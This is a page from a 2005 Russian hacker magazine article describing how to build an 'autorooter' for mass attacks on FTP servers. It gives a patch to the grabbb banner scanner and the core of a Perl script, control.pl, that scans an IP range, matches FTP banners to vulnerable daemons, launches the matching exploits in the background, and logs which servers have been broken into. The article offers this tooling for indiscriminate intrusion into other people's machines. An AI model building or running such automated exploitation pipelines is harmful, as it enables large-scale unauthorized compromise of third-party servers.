Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #73, ЯНВАРЬ 2005 г.

Хакерский конвейер

Докучаев Дмитрий aka Forb

Хакер, номер #073, стр. 073-052-4


Первым делом нужно перейди к строке под номером 498 и изменить ее следующим образом:

printf ("%s:%hu:%c%s\n", ip, sb-> port[sb-> portcount],

(multiline == 0) ? '\x00' : '\n', buf);

Как видишь, необходимо поменять символ пробела на «\x00» (окончание строки), а также добавить переход на новую строку после вывода информации об открытом порте.

После сборки grabbb я получил бинарник, который поместил в корень будущего проекта рядом с каталогом exploits.

Думаю, тебе понятно, что сканера и эксплойтов недостаточно, нужно также иметь какую-то программу, которая бы связывала все части системы. Поэтому я написал скрипт control.pl, к которому и обращался при запуске авторутера. Ядро моей программы состоит всего из нескольких команд:

Ядро исходника control.pl

use Getopt::Std;

$debug=1;

getopt("ab");

$exploits='exploits';

$grabbb='./grabbb';

unlink (".scan")

if (-e ".scan");

print "Starting grabbb first\n" if $debug;

system("$grabbb -x 30 -a $opt_a -b $opt_b 21 > .scan");

print "Scan complete. Parsing the logfile\n" if $debug;

open(LOG,".scan");

while(<LOG> ) {

chomp;

($host,$port,$banner)=split(':');

$exploit = match_banner($banner);

if ($exploit ne 0) {

print "Exploiting host $host with weakly $exploit\n" if $debug;

system("$exploits/start $exploit $host &");

}

}

В самом начале инициализируется модуль, обрабатывающий параметры. Вообще этому скрипту передаются две опции: -a - начальный ip-адрес и –b - конечный ip-адрес. Все эти параметры control.pl честно скармливает сканеру, что мы наблюдаем в первом системном вызове. После того как grabbb справился с задачей, сценарий парсит удобочитаемый лог-файл, который состоит из нескольких строк формата host:port:banner. Как только определяется факт уязвимости сервиса, скрипт запускает некоторый файл exploits/start, в котором оговаривается запуск того или иного эксплойта в зависимости от типа FTPD. Этим действием я хотел добиться большей универсальности. Скажем, если тебе захотелось добавить еще один сервис ServU FTP-Server, твоя работа по изменению control.pl сводится к минимуму. Основной код прописывается в файле exploits/start. Для экономии времени эксплуатирование хоста запускается в бэкграунде.

Как видно, в коде существует инициализация переменной $debug. Я обнулил ее, как только убедился в работоспособности программы, что избавило от необходимости читать лишнюю отладочную информацию.

Совсем забыл - необходимо также создать каталог logs в корне проекта. Скрипт start позаботится о том, чтобы все попытки взлома записывались в файл attempts.log. Прочитав этот журнал, можно определить, какие серверы были взломаны, а какие эксплуатируются в данный момент.

Назад на стр. 073-052-3  Содержание  Вперед на стр. 073-052-5